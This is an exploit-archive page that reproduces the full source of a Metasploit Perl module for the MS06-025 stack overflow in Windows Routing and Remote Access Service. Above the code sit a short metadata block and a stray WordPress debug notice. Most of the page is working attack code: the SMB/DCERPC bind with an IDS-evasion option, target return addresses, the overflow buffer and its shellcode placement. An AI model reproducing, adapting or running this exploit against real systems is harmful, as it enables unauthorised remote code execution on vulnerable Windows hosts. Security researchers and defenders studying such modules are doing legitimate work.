Notice: Function _load_textdomain_just_in_time was called incorrectly. Translation loading for the wp-pagenavi domain was triggered too early. This is usually an indicator for some code in the plugin or theme running too early. Translations should be loaded at the init action or later. Please see Debugging in WordPress for more information. (This message was added in version 6.7.0.) in /home/u918112125/domains/exploit.company/public_html/wp-includes/functions.php on line 6114
Microsoft RRAS MSO6-025 Stack Overflow - exploit.company
header-logo
Suggest Exploit
vendor:
Routing and Remote Access Service
by:
Nicolas Pouvesle, H D Moore
7.5
CVSS
HIGH
Stack Overflow
Unknown
CWE
Product Name: Routing and Remote Access Service
Affected Version From: Unknown
Affected Version To: Unknown
Patch Exists: NO
Related CWE: Unknown
CPE: Unknown
Metasploit:
Other Scripts:
Platforms Tested: Windows
Unknown

Microsoft RRAS MSO6-025 Stack Overflow

This module exploits a stack overflow in the Windows Routing and Remote Access Service. Since the service is hosted inside svchost.exe, a failed exploit attempt can cause other system services to fail as well. A valid username and password is required to exploit this flaw on Windows 2000. When attacking XP SP1, the SMBPIPE op.

Mitigation:

Unknown
Source

Exploit-DB raw data:

##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::rras_ms06_025;
use base "Msf::Exploit";
use strict;

use Pex::DCERPC;
use Pex::NDR;

my $advanced = {
	'FragSize'    => [ 256, 'The DCERPC fragment size' ],
	'BindEvasion' => [ 0,   'IDS Evasion of the Bind request' ],
	'DirectSMB'   => [ 0,   'Use direct SMB (445/tcp)' ],
  };

my $info = {
	'Name'    => 'Microsoft RRAS MSO6-025 Stack Overflow',
	'Version' => '$Revision: 1.1 $',
	'Authors' => 
	[ 
		'Nicolas Pouvesle <nicolas.pouvesle [at] gmail.com>',
		'H D Moore <hdm [at] metasploit.com>'
	],

	'Arch' => ['x86'],
	'OS'   => [ 'win32', 'win2000', 'winxp' ],
	'Priv' => 1,

	'AutoOpts' => { 'EXITFUNC' => 'thread' },
	'UserOpts' => {
		'RHOST' => [ 1, 'ADDR', 'The target address' ],

		# SMB connection options
		'SMBUSER' => [ 0, 'DATA', 'The SMB username to connect with', '' ],
		'SMBPASS' => [ 0, 'DATA', 'The password for specified SMB username',''],
		'SMBDOM'  => [ 0, 'DATA', 'The domain for specified SMB username', '' ],
		'SMBPIPE' => [ 1, 'DATA', 'The pipe name to use (2000=ROUTER, XP=SRVSVC)', 'ROUTER' ],
	  },

	'Payload' => {
		'Space'    => 1104,
		'BadChars' => "\x00",
		'Keys'     => ['+ws2ord'],

		# sub esp, 4097 + inc esp makes stack happy
		'Prepend' => "\x81\xc4\xff\xef\xff\xff\x44",
	  },

	'Description' => Pex::Text::Freeform(
		qq{
        This module exploits a stack overflow in the Windows Routing and Remote
		Access Service. Since the service is hosted inside svchost.exe, a failed 
		exploit attempt can cause other system services to fail as well. A valid
		username and password is required to exploit this flaw on Windows 2000. 
		When attacking XP SP1, the SMBPIPE option needs to be set to 'SRVSVC'.
}
	  ),

	'Refs' =>
	  [
		[ 'BID', '18325' ],
		[ 'CVE', '2006-2370' ],
		[ 'OSVDB', '26437' ],
		[ 'MSB', 'MS06-025' ]
	  ],

	'DefaultTarget' => 0,
	'Targets'       =>
	  [
		[ 'Automatic' ],
		[ 'Windows 2000',   0x7571c1e4 ], # pop/pop/ret
		[ 'Windows XP SP1', 0x7248d4cc ], # pop/pop/ret
	  ],

	'Keys' => ['rras'],

	'DisclosureDate' => 'Jun 13 2006',
  };

sub new {
	my ($class) = @_;
	my $self    = $class->SUPER::new( { 'Info' => $info, 'Advanced' => $advanced }, @_ );
	return ($self);
}

sub Exploit {
	my ($self)      = @_;
	my $target_host = $self->GetVar('RHOST');
	my $target_port = $self->GetVar('RPORT');
	my $target_idx  = $self->GetVar('TARGET');
	my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
	my $target      = $self->Targets->[$target_idx];

	my $FragSize = $self->GetVar('FragSize') || 256;
	my $target   = $self->Targets->[$target_idx];

	my ( $res, $rpc );

	if ( !$self->InitNops(128) ) {
		$self->PrintLine("[*] Failed to initialize the nop module.");
		return;
	}

	my $pipe    = "\\" . $self->GetVar("SMBPIPE");
	my $uuid    = '20610036-fa22-11cf-9823-00a0c911e5df';
	my $version = '1.0';

	my $handle =
	  Pex::DCERPC::build_handle( $uuid, $version, 'ncacn_np', $target_host,
		$pipe );

	my $dce = Pex::DCERPC->new(
		'handle'      => $handle,
		'username'    => $self->GetVar('SMBUSER'),
		'password'    => $self->GetVar('SMBPASS'),
		'domain'      => $self->GetVar('SMBDOM'),
		'fragsize'    => $self->GetVar('FragSize'),
		'bindevasion' => $self->GetVar('BindEvasion'),
		'directsmb'   => $self->GetVar('DirectSMB'),
	  );

	if ( !$dce ) {
		$self->PrintLine("[*] Could not bind to $handle");
		return;
	}

	my $smb = $dce->{'_handles'}{$handle}{'connection'};
	if ( $target->[0] =~ /Auto/ ) {
		if ( $smb->PeerNativeOS eq 'Windows 5.0' ) {
			$target = $self->Targets->[1];
			$self->PrintLine('[*] Detected a Windows 2000 target...');
		}
		elsif ( $smb->PeerNativeOS eq 'Windows 5.1' ) {
			$target = $self->Targets->[2];
			$self->PrintLine('[*] Detected a Windows XP target...');
		}
		else {
			$self->PrintLine( '[*] No target available : ' . $smb->PeerNativeOS() );
			return;
		}
	}

	my $pattern = '';

	if ($target->[0] =~ /Windows 2000/) {

		$pattern =
		  pack( 'V', 1 ) .
		  pack( 'V', 0x49 ) .
		  $shellcode .
		  "\xeb\x06" .
		  Pex::Text::AlphaNumText(2).
		  pack( 'V', $target->[1] ) .
		  "\xe9\xb7\xfb\xff\xff" ;

	} elsif( $target->[0] =~ /Windows XP/) {

		$pattern =
		  pack( 'V', 1 ) .
		  pack( 'V', 0x49 ) .
		  Pex::Text::AlphaNumText(0x4c).
		  "\xeb\x06" .
		  Pex::Text::AlphaNumText(2).
		  pack( 'V', $target->[1] ) .
		  $shellcode;

	} else {
		self->PrintLine( '[*] No target available...');
		return;
	}

	# need to produce an exception
	my $request = $pattern . Pex::Text::AlphaNumText(0x4000 - length($pattern));

	my $len = length ($request);

	my $stub =
	  Pex::NDR::Long( int( 0x20000 ) )
	  . Pex::NDR::Long( int( $len ) )
	  . $request
	  . Pex::NDR::Long( int( $len ) );

	$self->PrintLine("[*] Sending request...");
	my @response = $dce->request( $handle, 0x0C, $stub );
	if (@response) {
		$self->PrintLine('[*] RPC server responded with:');
		foreach my $line (@response) {
			$self->PrintLine( '[*] ' . $line );
		}
		$self->PrintLine('[*] This probably means that the system is patched');
	}
	return;
}

1;

# milw0rm.com [2006-06-22]